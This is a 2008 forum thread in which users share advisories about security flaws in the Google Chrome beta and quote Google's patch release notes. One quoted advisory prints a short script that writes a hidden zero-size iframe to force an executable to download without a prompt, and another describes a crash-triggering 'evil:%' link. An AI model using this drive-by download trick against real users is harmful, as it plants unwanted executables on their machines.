Security Issues With Google Chrome Beta Browser

[Corrine]

http://www.securiteam.com/windowsntfocus/5YP060UPFU.html

Google Chrome Browser Automatic File Download     3 Sep. 2008
 
 Summary
Google's new Web browser (Chrome) allows files (e.g., executables) to be automatically downloaded to the user's computer without any user prompt.
 
Credit:
The information has been provided by nerex.
The original article can be found at: http://www.milw0rm.com/exploits/6355

 
 Details
Exploit:
<script>
document.write('<iframe src="http://www.example.com/hello.exe" frameborder="0" width="0" height="0">');
</script>

and not as serious

http://www.securiteam.com/securitynews/5TP010UPFU.html

Google Chrome Browser URL Handler Crash     3 Sep. 2008
 
 Summary
An issue exists in how chrome behaves with undefined-handlers in chrome.dll version 0.2.149.27. A crash can result without user interaction. When a user is made to visit a malicious link, which has an undefined handler followed by a 'special' character, the chrome crashes with a Google Chrome message window "Whoa! Google Chrome has crashed. Restart now?". It crashes on "int 3" at 0x01002FF3 as an exception/trap, followed by "POP EBP" instruction when pointed out by the EIP register at 0x01002FF4.
 
Credit:
The information has been provided by Rishi Narang.
The original article can be found at: http://evilfingers.com/advisory/google_chrome_poc.php

 
 Details

Vulnerable Systems:
 * Google Chrome Browser version 0.2.149.27

PoC Working/Exploit:
Click for a demo (clicking will cause the browser to crash) HERE.

Note:  Link "HERE" at the end of the 2nd quote was unclickable with the link location showing as "evil:%" when I checked it.

[Corrine]

I would also suggest caution at banking and other https sites.  See Chrome is a security nightmare, indexes your bank accounts.  I don't intended to verify the results.  It doesn't give me a warm and fuzzy feeling.

[Jacee]

evilfingers.com:
http://www.evilfingers.com/index.php

I've never heard of them, but maybe someone else has. It appears that they are sharing or partners with Milw0rm.

Milw0rm is one among the best websites known for rich collection of exploits. There are many sites where exploits can be found, but to find a working exploit, it is quite hard. Str0ke has taken effort and care in making sure that the exploits submitted to him really work, with his expertise in the field. Evilfingers will be using milw0rm's exploits in many toolkits and frameworks.

[Corrine]

Google Chrome issued a security update -- in fact, if people who downloaded the beta browser didn't manually update, the update was automatically pushed installed!  See bold added:

Google Chrome version 0.2.149.29 was released on 5 September 2008, and all users are being automatically updated. Automatic updates are a key security feature in helping to ensure the safety of Google Chrome users.

This is a security and bug fix update, with no new functionality.

Security Updates:

    * Fix a buffer overflow vulnerability in handling long filenames that display in the Save As... dialog. This is a critical risk that could lead to execution of arbitrary code.
          o Issue: http://code.google.com/p/chromium/issues/detail?id=1414
          o Fix: http://src.chromium.org/viewvc/chrome?view=rev&revision=1766
    * Fix a buffer overflow vulnerability in handling link targets displayed in the status area when the user hovers over a link. This is a critical risk that could lead to execution of arbitrary code.
          o Issue: reported internally to Google
          o Fix: http://src.chromium.org/viewvc/chrome?view=rev&revision=1797
    * Fix an out-of-bounds memory read when parsing URLs ending with :%. This is a low risk that can be used to crash the entire browser, possibly causing loss of data in the current session.
          o Issue: http://code.google.com/p/chromium/issues/detail?id=122
          o Fix: http://src.chromium.org/viewvc/chrome?view=rev&revision=1760
    * Change the default Downloads directory if it is set to Desktop, and ensure that Desktop cannot be the default. This mitigates the risk of malicious cluttering of the desktop with unwanted downloads, which can lead to executing unwanted files.
          o Fix: http://src.chromium.org/viewvc/chrome?view=rev&revision=1793

See Beta release: 0.2.149.29 for the other changes included in the update.

[AlphaCentauri]

I got as far as the part where Chrome couldn't block javascripts, and I didn't go any farther. Since Google has an interest in making sure no ads get blocked, I suspect that "bug" is a "feature" from their point of view.